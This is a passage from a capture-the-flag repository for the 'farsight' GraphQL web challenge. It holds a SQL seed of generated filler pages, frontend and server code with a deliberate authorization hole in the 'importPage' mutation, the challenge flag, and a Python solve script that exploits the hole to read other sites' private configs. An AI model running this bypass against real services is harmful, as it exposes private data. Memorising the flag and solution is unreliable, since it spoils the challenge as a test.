entire.](https://picsum.photos/485 "Play trouble black Democrat girl. Like seat production serious give true.\nStyle feel to money after blue end country. Rich although now use set.")\n\n> Recent back economy artist while nation Congress.\n\nthrough\nrecent\n```anything\nSkill open reflect modern similar. Party positive music field note level power.\n```\n\n```successful\nRecently positive daughter indeed company difference fly improve. Beyond college myself six manage use possible. Forget maybe apply direction some. Concern growth worry station rich use security.\n```\n\n![Material pattern study between put collection.](https://picsum.photos/448 "Example pick she.\nGo act television. Low material huge. Leader street memory group west ok until.")\n\n','\n',chr(10)),13), (62, 'million my leave meet',replace('will\n---\n\n![Issue well similar front give identify small.](https://picsum.photos/439 "Relate town attack along reality teach. Red put though. Sense will time think world necessary bag treatment.\nCatch protect administration sound forget. Without ahead stop others society.")\n\n|Foreign fill public production explain pull recent.|Tree base range indeed find beat.|Possible article tell social no last.|\n|---------------------------------------------------|---------------------------------|-------------------------------------|\n|Note strong instead require.|Represent partner particularly could section bill phone capital.|Read although heavy break believe lay election effect.|\n|Shoulder pick child drive which board.|To stop audience seven anyone spring.|Quickly agency back interesting wife cause amount.|\n|Behind door fall affect.|Tonight really father even.|However build take either do down act.|\n|Lay why just result student.|Ability easy skill.|Area election challenge phone far.|\n\n\n***\n\n***Write media war small including.***\nDeep country old mission without company.\n\n# Religious national lot modern.\n\n```town\nPerformance production then though moment study.\n```\n\n![Perhaps culture brother over line happy.](https://picsum.photos/438 "Whose southern career drop. Leader whether they Democrat scene customer.\nGive strategy safe reach address offer well keep.")\n\nCamera give role their one chair case.\n\n1. Fight thousand over generation western watch can.\n1. Treatment head suddenly alone degree enjoy.\n1. Produce for whom.\n6. Can image lawyer quickly.\n\n[Off image move alone ever.](http://ward.org/)\n\n> Customer ready week the measure month already.\n\n_Away picture season government sell draw fund._\n*Carry window challenge window today present require.*\n1. Offer matter simple collection.\n\n> He general marriage own.\n\n 8. Car argue another door contain wide order.\n\n','\n',chr(10)),14), (63, 'miss participant',replace(' 6. Seek upon plant music crime power determine.\n\n 5. Scene draw mind hold section quality wall.\n\n1. Detail painting difference who.\n1. Itself goal hot collection.\n1. Phone might age wrong.\n1. Process research concern specific remain.\n1. In understand wall memory.\n1. Beyond compare their effort.\n> Edge suddenly practice mean.\n\n 4. Personal chance sea.\n\n 7. Summer community serious source space successful.\n\n**job**\n```floor\nMain total ground company. Party stop ready public. Three about set science size whose list quality. Indicate ask rest brother.\n```\n\n|Here popular difficult area fight they thought already.|Increase support conference since.|Produce force major their that red.|\n|-------------------------------------------------------|----------------------------------|-----------------------------------|\n|Item writer when similar special about above rise.|Ago may behavior.|Fire medical little its into.|\n|Culture seat level much subject new television kid.|Drive first worker surface look bank type.|Window want painting relationship administration citizen bank.|\n|West if dream push agree agree through factor.|Live kind with there never.|By unit reflect federal Congress open laugh.|\n|National sport able bank quite state list.|Case artist school lead.|Office public statement old billion size old week.|\n\n\n1. Without become Congress young politics during heavy.\n1. Trial seat involve health reveal administration recent loss.\n1. Though need since in.\n\nThat could agency cover. Produce building operation. Design learn who find number because stage.\n\n> Fall peace want cause statement.\n\n![Strong attack agent.](https://picsum.photos/205 "Mention remain off partner court on at professor. Across share artist onto decide design.\nIncrease war fill successful make across meet. My glass pay last market third.")\n\n1. Few I order.\n1. Enter camera report simple fast may.\n1. Care citizen quickly in let full trade political.\n___\n\n|Account still hard door.|Throw team same figure everyone operation week.|Modern smile blood lot choose about of.|\n|------------------------|-----------------------------------------------|---------------------------------------|\n|Human but central a career Mrs ball much.|Over sort world.|Image research appear current positive world.|\n|Nearly audience find case to agency travel.|Growth bag end kind what herself boy.|Their certain kitchen middle happy try dark son.|\n|Perhaps information they with check forward.|Movement crime seem listen answer figure meeting.|My character attention really central ball.|\n|Water join herself involve.|Result whom inside collection.|Stock bank choice number wind away.|\n\n\n![Military professional almost with security still.](https://picsum.photos/267 "Build indicate teacher difference.\nRequire necessary audience throughout become call mouth. Result participant rate fight. White blood through ready Democrat something everybody.")\n\nmanage\n * Your tree blue.\n\n_**Despite pay especially finally.**_\n> Whose car pull full.\n\nTreatment point performance human those.\n\n1. Upon land fire bit life him.\n1. Loss baby style public possible he.\n1. Choose particular check any tough finish.\n\n***Leave college campaign we whom wife then several.***\nEmployee participant piece necessary.\n\n|Process computer production increase condition pass bad.|Road and report walk boy building building.|Scene couple bar miss clear not art.|\n|--------------------------------------------------------|-------------------------------------------|------------------------------------|\n|Dinner learn support election data team five apply.|Music man decade lay agreement.|Hold live soldier miss.|\n|Firm true growth rock.|Space piece maybe first eat federal develop.|Over individual position threat today fine.|\n|Try nothing trade return difficult.|Occur walk police still effect shake understand.|Watch step forget information.|\n|Anyone spend any arrive show.|Mean glass new what various woman.|Shake heavy item wear.|\n\n\n***Half although act run.***\nskill\nDown house food figure think purpose.\n\n * Language ball ball family social ball.\n\n8. Name left region term important.\n\nGroup type in vote blood.\n\n![Person mouth conference long fire.](https://picsum.photos/493 "Never important improve far line difficult. Expert cover much age.\nMeasure miss between manage soldier face be. Could style first prepare citizen investment cause.")\n\n_Drive area each song magazine stuff between._\n***Decision today require rate total.***\nUpon determine age player raise.\n--------------------------------\n\n*Know three civil official.*\n\n\n1. Environment sit data officer road everyone everything.\n1. Necessary old outside.\n1. Pay around can.\n\n![Own parent paper according build.](https://picsum.photos/443 "Actually size assume market professional listen. Return some send American play know. People he exactly reflect best population.")\n\n***Knowledge American lead radio third can.***\n1. Inside section person tonight two possible.\n1. Scene thousand remain minute.\n1. Sometimes exactly course important security.\n```discussion\nThus member simply bill up professor. Term all open late may away. Sometimes sign experience yeah indeed teach window home.\n```\n\n|Seem major already bar third practice soldier.|Bring realize far rise everybody game nearly.|Wind perform push risk product idea.|\n|----------------------------------------------|---------------------------------------------|------------------------------------|\n|Per if smile I although.|Hit seem standard center debate stuff feel today.|Gun result recognize purpose scientist.|\n|Hotel affect family low movie evidence quality animal.|Beautiful perhaps human edge local fine owner.|Either drive thus dog again take financial.|\n|Financial agreement research really exactly.|North mind walk wrong statement energy through yet.|Trip himself wonder fear expert.|\n|Center stay may performance doctor.|Low you couple view case.|Certainly image place reality money until.|\n\n\n---\n\nImage east buy wonder city. Program western management organization.\n\nInformation policy nor recently water it cultural ability.\n----------------------------------------------------------\n\n*Happy memory stage garden its.*\nTeach set house statement. Production statement group candidate nice push any. Leg mission war. Together same between \nmillion figure once.\n\n','\n',chr(10)),14), (64, 'today',replace('***\n\n\n\n## Responsibility establish pass despite report meeting.\n\n\n\n\n\nname\nSport tonight section simple group. Agent loss goal her continue order. Behind property report eye.\n\n7. Low audience exactly southern word face woman manager.\n\nPopulation church project. Current response specific return less staff. Drop former different learn \ntrade three.\n\nTop act good section.\n\n','\n',chr(10)),14), (65, 'cause assume war seem think',replace(' - Score enough age top rather knowledge.\n\n![Prevent now nothing low standard medical discussion.](https://picsum.photos/259 "Focus speech bring free. Scene key us. Tax somebody stay your single card total.")\n\n> Account face not occur leader writer.\n\nHimself between identify black section hope development room.\n\n|Out step them population available.|Which discover tree experience whether share.|Deal difference out everybody wide four maybe.|\n|-----------------------------------|---------------------------------------------|----------------------------------------------|\n|Teach factor figure increase step teacher leader.|Town down pay bed beyond.|Old candidate size simple notice Congress sell.|\n|Bad audience community government.|Middle but among.|Point trip at new.|\n|Own natural despite team.|About business provide group box high.|More product cold adult this certainly.|\n|When everything effect check personal.|Key difference leg call.|Sea until low agree budget son author.|\n\n\nlast\n_**Born defense word least shoulder make certainly.**_\n 8. Quickly century bad other.\n\n1. Fear care be trip wonder PM boy.\n1. Song budget interest record voice support budget difference.\n1. Over moment dinner sure.\n1. Somebody support democratic live member.\n\n5. Lot camera admit fight nature.\n\n> Also assume continue agree crime moment.\n\n + Onto economy raise capital magazine.\n\n___\n\n***\n\nFund statement only fast discuss argue the party. Mission however want discover add. Worry hear site especially least \nworker.\n\n1. Actually new full.\n1. Ball significant game author remain.\n1. Character street politics water term.\n|Leg important institution pattern.|Pretty like actually car between successful should.|In management member hospital who.|\n|----------------------------------|---------------------------------------------------|----------------------------------|\n|Build ready difficult meet.|Second including certainly girl may whether.|Cost clearly its recently.|\n|Energy itself number baby recent federal.|Gun beautiful Mrs fish.|Describe director task store lead admit value administration.|\n|Sort similar hospital sit treatment artist.|Bank group lead floor.|Should open try night need eight.|\n|Success similar yard himself too sure lead.|Easy house decade future her.|Today performance only read.|\n\n\n___\n\n> Risk exactly character special walk nothing describe cell.\n\n','\n',chr(10)),14), (66, 'blue can professor',replace('```sea\nMove return do car fast. Information sit take back with American. Federal next both administration Congress.\n```\n\n\n\n_Long drug song east purpose end site._\n[Clear even back himself building.](https://wright-dixon.com/)\n\n_**None adult event range.**_\n\n\n---\n\n*Sing health maintain there hope.*\n\n\n|Five system leg use despite begin writer whom.|Bag process science west gun.|Eye raise list police on.|\n|----------------------------------------------|-----------------------------|-------------------------|\n|Central reduce security factor.|Run beat why radio exist officer.|Effect adult sport according.|\n|Per stuff company national serve provide song deep.|Wall purpose his.|Property baby account difficult lead then.|\n|Clearly interest best mother similar girl receive.|Ever federal painting offer.|Center front seem serve any century their.|\n|Individual consider trouble rule at.|Ground where music above.|Personal only marriage film.|\n\n\n','\n',chr(10)),15), (67, 'way without example anything',replace(' * Care dinner red.\n\n**wait**\nQuestion good morning leave middle feel. Question reflect scene represent \nradio system you. Government energy sport mouth huge develop.\n\nSummer house way member begin.\n\n> Around prepare conference inside.\n\n![For watch writer alone.](https://picsum.photos/284 "Go president response task.\nMiss city mean. Ever kitchen participant expert. Organization small tell.")\n\nStrong business personal heart easy least.\n------------------------------------------\n\n|Believe job radio body however meet international.|Card tough care unit value career figure support.|Popular actually resource we garden security another.|\n|--------------------------------------------------|-------------------------------------------------|-----------------------------------------------------|\n|Southern Republican into present.|Thank responsibility likely official seem not store.|Push above several turn idea man.|\n|Rock coach agree someone task.|Society within more.|Girl adult life safe positive.|\n|Right natural small direction life scene.|The various respond beyond speak.|Administration difficult end truth game lot it sort.|\n|Late along hotel size exist.|Perform answer lawyer she hear company.|What great ahead rest.|\n\n\n[History listen outside west team base.](https://taylor.org/)\n\n8. Market full talk service industry realize southern.\n\n','\n',chr(10)),15), (68, 'head natural cultural detail capital',replace(' - Hot night almost ago I others next.\n\n\n\nMovie ready one use near able word. Me different find small nothing camera. Scientist \nwhether interview local attention.\n\n> Far else technology recognize represent law investment rich.\n\n> Technology our their camera.\n\n1. Trade three but within upon.\n1. For line factor one.\n1. Part however church network citizen nearly force.\n\n*Arm material service cut per.*\n### Quality think model difficult organization television.\n\n\n\nedge\n_Article apply attention south hot hear fear._\n---\n\n_**Party serve relationship create identify.**_\n**here**\n1. Congress economic long.\n1. Standard realize lay interest although candidate some child.\n1. One I plan amount.\n![Apply draw population north challenge.](https://picsum.photos/369 "Health myself soon leave. Game of drive might employee ever teach.\nTable put central upon. Someone bed small name.\nCut order gun year grow computer activity end. Control exactly age movement break.")\n\n![Parent different score federal issue information.](https://picsum.photos/265 "Hot win money full idea. Vote between voice sit court family. View mouth change other left.\nElse church board pass officer from discuss big. Various its shoulder fish hospital.")\n\n_Price successful federal summer take fine blue total._\n```necessary\nParty sit like baby notice what available whether. Trouble travel Democrat since.\n```\n\n * Issue middle center rather.\n\n','\n',chr(10)),15), (69, 'girl use must',replace('Change fact argue another network.\n\n\n\nConsumer similar dark claim.\n\n#### Whole young popular push four wait heart.\n\nalmost\n___\n\n1. School whom paper open media claim animal.\n1. Nice subject above service tax customer difference.\n1. Task maintain how material tell then interest add.\n\n\n***\n\n**thing**\n![Since process above performance shoulder.](https://picsum.photos/397 "General there sister somebody training cell. Its control direction house improve.\nTop worker health Democrat lay city. Than somebody financial individual according purpose whether visit.")\n\n\n\n|Fast court seat blood tax.|Challenge thank case seek.|Month lot bill perhaps production financial clear house.|\n|--------------------------|--------------------------|--------------------------------------------------------|\n|Charge national mother long seem out.|Force rise answer bring.|Think travel organization window generation sometimes others.|\n|Bad be over stand understand idea case.|Buy discussion music.|Pass night born evening series right interview be.|\n|Pretty kid always write manage.|And kid young theory hit.|Quite once many look necessary teacher degree.|\n|May people staff structure decision way also game.|Unit art forget positive send budget.|Audience head growth nature suggest without add.|\n\n\nHouse entire ahead seat sign voice least. Claim send seven every.\n\nAvoid thing left get wonder. Marriage five her red rather sign. Already model food drug Mr prove seek.\n\n*Catch strong area cultural couple their need method.*\n*Unit leg them threat treat first pick.*\nSon very eat tell recently.\n---------------------------\n\n1. Over word force.\n1. Herself wide once hold assume.\n1. Prove sister couple need.\n\n\n','\n',chr(10)),15), (70, 'free point floor',replace('1. Increase agent same note.\n1. See born throw before since television computer.\n1. Professional wrong this real month.\n|For involve eat learn human car.|Responsibility range factor itself address safe.|Wife stuff exist area term him success most.|\n|--------------------------------|------------------------------------------------|--------------------------------------------|\n|Catch police never never candidate small.|Site population prepare air go might establish against.|By travel finally can country organization.|\n|None phone no concern me avoid citizen.|Shoulder white design likely clearly laugh ten news.|Friend agree or crime own.|\n|Anyone account hand whether economic power after.|Decide old single new high poor.|They law spring thus animal although whose.|\n|Article research chance short answer lawyer.|View whose which anything.|Lose trouble body similar.|\n\n\n![Establish senior build without herself.](https://picsum.photos/321 "From cell son issue onto such for form. Wife make control mission success wrong.")\n\n_**Development piece clear billion herself same night goal.**_\n|Speech result visit paper could business.|Stop benefit high write reality physical.|Response draw few.|\n|-----------------------------------------|-----------------------------------------|------------------|\n|Marriage account medical across think radio future.|Win whether name fall well present treatment claim.|Exist animal when scene.|\n|Back analysis west.|System cultural trial.|Necessary rule stay.|\n|Skill treat yeah model.|Get first single agreement network artist.|Lawyer her number administration collection recent example.|\n|Food technology method bring art performance artist.|Project side simply professional difference relationship court.|Who take office.|\n\n\nSchool fight worry drug other without.\n--------------------------------------\n\n\n\n```member\nLate list responsibility thus. Product of himself themselves hand. Maybe between building. Trip space organization always area beyond ahead.\n```\n\nnatural\n```population\nCarry she your into throw. Old past if enough home former bank. My fall north team represent.\n```\n\n\n\n\n\n_**Those success popular.**_\n***\n\n1. Positive nor seek nor kid send create.\n1. Cover type sort hot truth price.\n1. Year interest them together.\n\n\n![Score relate care natural behavior.](https://picsum.photos/401 "Factor article heavy civil. Information war out remember painting key. Central too indicate art under line skill.\nWar while expect course vote.")\n\n```this\nWithin it find able mean great religious.\n```\n\nParticipant national already region.\n\nBecause great perhaps other seven reach modern.\n-----------------------------------------------\n\nback\n```election\nCell approach new. President exist arrive two. Fact rich nature administration if year.\n```\n\n\n\n___\n\n![Take rest Mrs season.](https://picsum.photos/462 "Recent mention much civil pressure rock identify. Commercial billion vote general marriage first.\nWest this detail give hot. Lose shoulder daughter car Mr station official major.")\n\n[Later dog former common lawyer study.](https://www.white.com/)\n\n1. Many score building politics Congress whom guy.\n1. Of know few cell suffer decade interesting read.\n1. Carry attack most bank citizen drop reason year.\n\n***Prove reflect current mind treatment great especially.***\nWell Democrat ready.\n--------------------\n\nNumber plan find sell nice three. Many daughter evening tell population laugh save. Defense chair production \nradio outside yet.\n\n### Result time reason model government.\n\n1. Sing gas speak join newspaper effort what.\n1. Mr control owner child.\n1. Language though expect professor it station huge.\nHuman me wait early when bring discuss.\n\n___\n\n1. Thing record former little face moment.\n1. Data bit happen both option.\n1. Boy management way others final.\n_Movie discuss serve popular recognize notice._\n---\n\n###### Letter capital hour from forget view.\n\n\n\n - Already instead of choice whose method week nothing.\n\n|Produce or onto available pass movie those performance.|I hold once into find later camera.|Home size final building continue within expert.|\n|-------------------------------------------------------|-----------------------------------|------------------------------------------------|\n|Imagine first step enough dream open prevent here.|Sing film first head early study.|Community team everyone option suffer gas.|\n|Letter fight father record popular memory.|Line modern school indicate.|Dream rock everyone.|\n|Quickly quickly experience believe tend should medical.|Present talk field style type responsibility material.|Anyone operation history.|\n|Everything might support.|Should yourself news understand hand spend.|Style interesting ago couple forward.|\n\n\n\n\n***Bill opportunity top color.***\n1. Sit care notice face happen accept sea.\n1. Interview cell image candidate fly.\n1. Common thing mouth simply these pick Mr half.\n\n|Poor beyond near ability yes responsibility.|Big head chance design seem blue.|Unit may shake.|\n|--------------------------------------------|---------------------------------|---------------|\n|Also expect leave yourself might discover read.|Modern before imagine woman month fear garden.|Him station beautiful.|\n|Recent new enter only physical each fish pressure.|Them sometimes life realize article.|Make several make modern she season.|\n|System plan picture well body.|Place oil life face.|How evening word bad.|\n|Sea technology thus may join see.|Someone fish describe sometimes realize man dream.|Without close you change affect young baby hope.|\n\n\n4. Dinner notice she truth serve evidence girl.\n\nDemocratic late say by. Leave ready house company list. Popular bed them within. Song example dark reality.\n\nVery health behind. Prove herself action.\n\n1. Ahead smile claim to.\n1. Town order reduce image wait human shake.\n1. Low consumer close point.\n\nJob go you. Place study sea actually gas look one. Face know attorney huge. Traditional hear establish appear. \n\n','\n',chr(10)),15), (71, 'Mr several color traditional',replace('Agency create her then.\n-----------------------\n\n_Evidence theory never need._\nCard each down approach.\n\nMy whom daughter second.\n\n - Perform more require study way.\n\nopen\n> Short class activity fire remember response.\n\nLose house among hospital writer top itself.\n--------------------------------------------\n\n[Point respond everything.](https://hall.net/)\n\n 1. Author bring leader garden total hundred remain.\n\n','\n',chr(10)),15); ALTER SEQUENCE page_id_seq RESTART WITH 72; COMMIT; ================================================ FILE: web/farsight/docker-compose.yml ================================================ services: web: build: . image: farsight.web.ctf.local ports: ["8000:8000"] environment: PGUSER: postgres PGPASSWORD: postgres PGHOST: db PGDATABASE: farsight links: [db] db: image: postgres environment: POSTGRES_USER: postgres POSTGRES_PASSWORD: postgres POSTGRES_DB: farsight volumes: - ./data/:/docker-entrypoint-initdb.d/ ================================================ FILE: web/farsight/flag.txt ================================================ DUCTF{5h0wINg_S3cREt_sch3m4S_spR1nGs_SITe_sUPeRVi5I0N_Sid3STeP-bdcf8179} ================================================ FILE: web/farsight/frontend/assets/browser.mjs ================================================ import { graphql } from "./util.mjs"; export class SiteBrowser { constructor(siteId) { this.token = localStorage.getItem("token"); this.siteId = siteId; this.siteInfo = undefined; } async loadSiteData() { this.siteInfo = ( await graphql( ` query site($site: ID!) { site(id: $site) { id name public owner { id } config { key value } pages { id name content } } } `, { site: this.siteId } ) ).site; } listPages() { return this.siteInfo.pages; } getPage(pageId) { return this.siteInfo.pages.find((p) => +p.id === +pageId); } getSite() { return this.siteInfo; } } ================================================ FILE: web/farsight/frontend/assets/index.mjs ================================================ import { selectView, getCurrentUser } from "./util.mjs"; import { SiteBrowser } from "./browser.mjs"; import { graphql } from "./util.mjs"; (async function () { const router = new Navigo("/"); const user = await getCurrentUser(); const pageSel = document.querySelector("#page-list"); const pageAdd = document.querySelector("#page-add"); const heading = document.querySelector(".container > header > h1"); const content = document.querySelector(".container > main"); const pgModal = document.querySelector("#page-modal"); const newPgFm = document.querySelector("#page-modal form"); const cfModal = document.querySelector("#conf-modal"); const confAdd = document.querySelector("#conf-add"); pgModal.querySelector('[data-modal="close"]').addEventListener("click", () => (pgModal.style.display = "none")); cfModal.querySelector('[data-modal="close"]').addEventListener("click", () => (cfModal.style.display = "none")); router.on("/", () => router.navigate("/home")); router.on("/home", () => selectView("home")); router.on("/logout", () => { localStorage.removeItem("token"); window.location.reload(); }); router.on("/browser", () => router.navigate(`/browser/${user.sites[0].id}`)); router.on("/browser/:siteid", async (route) => { selectView("browser"); const siteId = route.data.siteid; const browser = new SiteBrowser(siteId); await browser.loadSiteData(); const pages = browser.listPages(); if (pages.length > 0) { selectPage(pages[0].id); } else { heading.textContent = "No Pages Yet. Make one!"; } pageSel.innerHTML = ""; pages.forEach((page) => { const opt = document.createElement("option"); opt.textContent = page.name; opt.value = page.id; pageSel.appendChild(opt); }); content.removeAttribute("style"); browser.getSite().config.map(({ key, value }) => content.style.setProperty(key, value)); pageSel.onchange = () => selectPage(+pageSel.value); pageAdd.onclick = () => { pgModal.style.display = "block"; pgModal.querySelector('[data-modal="submit"]').onclick = async () => { const data = Object.fromEntries(new FormData(newPgFm).entries()); const res = await graphql( ` mutation newPage($name: String, $content: String, $siteId: ID!) { newPage(name: $name, content: $content, siteId: $siteId) } `, { ...data, siteId } ); newPgFm.reset(); pgModal.style.display = "none"; if (res.errors) { console.error(res); alert("An error occurred."); } router.navigate("/browser"); }; }; confAdd.onclick = () => { cfModal.style.display = "block"; const confArea = cfModal.querySelector("textarea"); confArea.value = JSON.stringify(browser.getSite().config, null, 4); cfModal.querySelector('[data-modal="submit"]').onclick = async () => { try { JSON.parse(confArea.value); } catch { alert("Invalid JSON"); return; } const config = JSON.stringify( Object.fromEntries(JSON.parse(confArea.value).map((conf) => [conf.key, conf.value])) ); const res = await graphql( ` mutation setSiteconfig($config: String!, $siteId: ID!) { setSiteConfig(config: $config, siteId: $siteId) } `, { config, siteId } ); if (res.errors) { console.error(res); alert("An error occurred when updating config"); } cfModal.style.display = "none"; }; }; function selectPage(pageId) { const page = browser.getPage(pageId); heading.textContent = `${browser.getSite().name} / ${page.name}`; content.innerHTML = DOMPurify.sanitize(marked(page.content)); } }); router.resolve(); })(); ================================================ FILE: web/farsight/frontend/assets/util.mjs ================================================ export async function graphql(query, params = {}) { const res = await fetch("/graphql", { method: "POST", headers: { "Content-Type": "application/json", Accept: "application/json", Authorization: `Bearer ${localStorage.getItem("token")}`, }, body: JSON.stringify({ query, variables: params, }), }); const jsonData = await res.json(); return jsonData.data; } export async function getCurrentUser() { if (!localStorage.getItem("token")) { return null; } return ( await graphql( ` query me { me { username sites { id name } } } ` ) ).me; } export function selectView(link) { const nav = document.querySelector("nav"); Array.from(nav.querySelectorAll("a[href]")).forEach((e) => e.classList.remove("active")); Array.from(document.querySelectorAll("[data-view]")).forEach((e) => (e.style.display = "none")); nav.querySelector(`a[href="/${link}"]`).classList.add("active"); document.querySelector(`[data-view="${link}"]`).style.display = "block"; } ================================================ FILE: web/farsight/frontend/index.html ================================================ FarSight

FarSight

FarSight lets you host your own sites containing Markdown Pages. All you need to do is make an account and we'll give you a free site!

You can host private sites or make them public to share them with your friends!

We're still developing the service actively and are looking for users to test and trial our beta features!

================================================ FILE: web/farsight/frontend/login.html ================================================ FarSight | Login

FarSight | Login Or Register

================================================ FILE: web/farsight/package.json ================================================ { "name": "farsight", "version": "1.0.0", "description": "", "main": "src/app.ts", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "author": "", "license": "ISC", "dependencies": { "@types/express": "^4.17.13", "@types/graphql-depth-limit": "^1.1.2", "@types/jsonwebtoken": "^8.5.5", "@types/koa": "^2.13.4", "@types/koa-mount": "^4.0.1", "@types/koa-static": "^4.0.2", "@types/node": "^16.7.1", "@types/pg": "^8.6.1", "apollo-server-core": "^3.3.0", "apollo-server-koa": "^3.3.0", "argon2": "^0.28.2", "graphql": "^15.5.1", "graphql-depth-limit": "^1.1.0", "jsonwebtoken": "^8.5.1", "koa": "^2.13.1", "koa-mount": "^4.0.0", "koa-static": "^5.0.0", "npm": "^7.21.0", "pg": "^8.7.1", "rate-limiter-flexible": "^2.2.4", "typescript": "^4.3.5" }, "devDependencies": { "prettier": "^2.3.2", "ts-node": "^10.2.1" } } ================================================ FILE: web/farsight/solve/solve.py ================================================ from urllib3.util.retry import Retry from requests.adapters import HTTPAdapter import requests BASE_URL = "http://localhost:8000" adapter = HTTPAdapter(max_retries=Retry( total=3, backoff_factor=1, status_forcelist=[429], method_whitelist=["POST"] )) sess = requests.Session() sess.mount("https://", adapter) sess.mount("http://", adapter) # 1. Introspect introspected = sess.post(f"{BASE_URL}/graphql", json={ 'query': """query introspect { __schema { types { kind name description fields { name description } } } }""" }).json()['data']['__schema']['types'] # Check required gadgets exist page_type = next(o for o in introspected if o['name'] == 'Page') mutation_type = next(o for o in introspected if o['name'] == 'Mutation') owner_site_field = next(f for f in page_type['fields'] if f['name'] == 'ownerSite') site_refs_field = next(f for f in page_type['fields'] if f['name'] == 'siteRefs') import_page_mut = next(f for f in mutation_type['fields'] if f['name'] == 'importPage') assert 'beta' in owner_site_field['description'] assert 'beta' in site_refs_field['description'] assert 'beta' in import_page_mut['description'] # 2. Signin token = sess.post(f"{BASE_URL}/graphql", json={ 'query': """mutation register { loginOrRegister(username: "solve", password: "solve83e5bff44ba10605") }""" }).json()['data']['loginOrRegister'] # 3. Get our site id me = sess.post(f"{BASE_URL}/graphql", json={ 'query': """query me { me { id sites { id } } }""" }, headers={"Authorization": f"Bearer {token}"}).json()['data']['me'] # 3. Import the a few pages into our site for page in range(0, 16): sess.post(f"{BASE_URL}/graphql", json={ 'query': """mutation import($pageId: ID!, $siteId: ID!) { importPage(pageId: $pageId, siteId: $siteId) }""", 'variables': {'pageId': page, 'siteId': me['sites'][0]['id']}, }, headers={'Authorization': f'Bearer {token}'}) # 4. Check our sites pages pages = sess.post(f"{BASE_URL}/graphql", json={ 'query': """query sitepage($site: ID!) { site(id: $site) { id pages { id ownerSite { id name config { key value } } } } }""", 'variables': {'site': me['sites'][0]['id']} }, headers={'Authorization': f'Bearer {token}'}).json()['data']['site']['pages'] # 5. Find the flag in the configs for page in pages: for conf in page['ownerSite']['config']: if conf['key'] == 'flag': print(conf['value']) break ================================================ FILE: web/farsight/src/app.ts ================================================ import * as fs from "fs"; import { ApolloServer, AuthenticationError } from "apollo-server-koa"; import * as argon2 from "argon2"; import { Request } from "koa"; import depthLimit from "graphql-depth-limit"; import * as jwt from "jsonwebtoken"; import Koa from "koa"; import KoaStatic from "koa-static"; import KoaMount from "koa-mount"; import { RateLimiterMemory } from "rate-limiter-flexible"; import { Database, getSiteById, getSiteOwner, getSitePages, getUserById, getUserPassword, getUserSites, importPage, makePage, makeSite, makeUser, pageSites, updateSiteConfig, } from "./db"; import { LISTEN_PORT, SCHEMA_FILE, SECRET_KEY, FRONTEND_BASE, RATE_LIMIT_BYPASS } from "./config"; import { ApolloServerPluginLandingPageDisabled, ValidationError } from "apollo-server-core"; export type ResolverContext = { db: Database; user: number | undefined; }; function getAuthedUser(req: Request): number | undefined { const bearer = req.headers.authorization?.split(" ", 2)[1]; try { return bearer ? (<{ userId: number }>jwt.verify(bearer, SECRET_KEY)).userId : undefined; } catch { return undefined; } } async function verifyPassword(passwordHash: string, password: string): Promise { try { return await argon2.verify(passwordHash, password); } catch { return false; } } export const server = new ApolloServer({ typeDefs: fs.readFileSync(SCHEMA_FILE).toString(), resolvers: { Query: { async me(_, __, ctx: ResolverContext) { if (ctx.user === undefined) throw new AuthenticationError("No logged in user"); return await getUserById(ctx.db, ctx.user); }, async site(_, { id }, ctx: ResolverContext) { if (ctx.user === undefined) throw new AuthenticationError("Unauthorized"); const site = await getSiteById(ctx.db, id); return site?.ownerId === ctx.user || site?.public ? site : null; }, }, Mutation: { async loginOrRegister(_, { username, password }, ctx: ResolverContext) { const hashedPassword = await argon2.hash(password); const createdUser = await makeUser(ctx.db, username, hashedPassword); if (createdUser !== undefined) { await makeSite(ctx.db, createdUser, `${username}'s Site`); } const userInfo = await getUserPassword(ctx.db, username); if (!userInfo || !(await verifyPassword(userInfo.password, password))) { throw new AuthenticationError("Incorrect credentials"); } return jwt.sign({ userId: userInfo.id }, SECRET_KEY); }, async newPage(_, { name, content, siteId }, ctx: ResolverContext) { if (ctx.user === undefined) throw new AuthenticationError("Unauthorized"); const siteOwner = await getSiteOwner(ctx.db, siteId); if (siteOwner?.id !== ctx.user) throw new AuthenticationError("Forbidden"); return await makePage(ctx.db, name, content, siteId); }, async setSiteConfig(_, { config, siteId }, ctx: ResolverContext) { if (ctx.user === undefined) throw new AuthenticationError("Unauthorized"); const siteOwner = await getSiteOwner(ctx.db, siteId); if (siteOwner?.id !== ctx.user) throw new AuthenticationError("Forbidden"); return await updateSiteConfig(ctx.db, config, siteId); }, async importPage(_, { pageId, siteId }, ctx: ResolverContext) { if (ctx.user === undefined) return null; const siteOwner = await getSiteOwner(ctx.db, siteId); if (siteOwner?.id !== ctx.user) throw new AuthenticationError("Forbidden"); return await importPage(ctx.db, pageId, siteId); }, }, User: { async sites(parent, _, ctx: ResolverContext) { if (!parent) return []; return await getUserSites(ctx.db, parent.id); }, }, Site: { async owner(parent, _, ctx: ResolverContext) { if (!parent) return null; const site = await getSiteById(ctx.db, parent.id); return site && (await getUserById(ctx.db, site.ownerId)); }, async pages(parent, _, ctx: ResolverContext) { if (!parent) return []; return await getSitePages(ctx.db, parent.id); }, }, Page: { async ownerSite(parent, _, ctx: ResolverContext) { if (!parent) return null; return (await pageSites(ctx.db, parent.id)).owner; }, async siteRefs(parent, _, ctx: ResolverContext) { if (!parent) return null; return (await pageSites(ctx.db, parent.id)).refs; }, }, }, context: async ({ ctx: { request } }) => { return { db: await Database.getHandle(), user: getAuthedUser(request), }; }, validationRules: [depthLimit(8)], plugins: [ ApolloServerPluginLandingPageDisabled(), { async requestDidStart() { return { async willSendResponse({ context }) { context.db && context.db.close(); }, }; }, }, ], formatError: (err) => { if (err.originalError instanceof AuthenticationError) { return Error("Unauthenticated"); } else if (err instanceof ValidationError) { return Error("Invalid request. Make sure your request is not too deep (maxdepth=8)."); } else { console.log(err); return Error("An error occurred"); } }, }); (async function () { await server.start(); const rateLimiters = { // 24 rps webapp: new RateLimiterMemory({ points: 24, duration: 1, }), // 4 rps graphql: new RateLimiterMemory({ points: 4, duration: 1, }), }; const app = new Koa(); app.use(async (ctx, next) => { // Bypass for token holders if (ctx.get("x-rate-limit-bypass") == RATE_LIMIT_BYPASS) { return await next(); } const limiter = ctx.request.url === "/graphql" ? rateLimiters.graphql : rateLimiters.webapp; try { await limiter.consume(ctx.get('x-real-ip') || ctx.ip); return await next(); } catch (_e) { ctx.status = 429; ctx.body = "Too many requests"; } }); server.applyMiddleware({ app, path: "/graphql" }); app.use(KoaMount("/", KoaStatic(FRONTEND_BASE))); app.use(async (ctx, next) => { if (ctx.status === 404) { return ctx.redirect("/"); } return await next(); }); app.use(async (ctx, next) 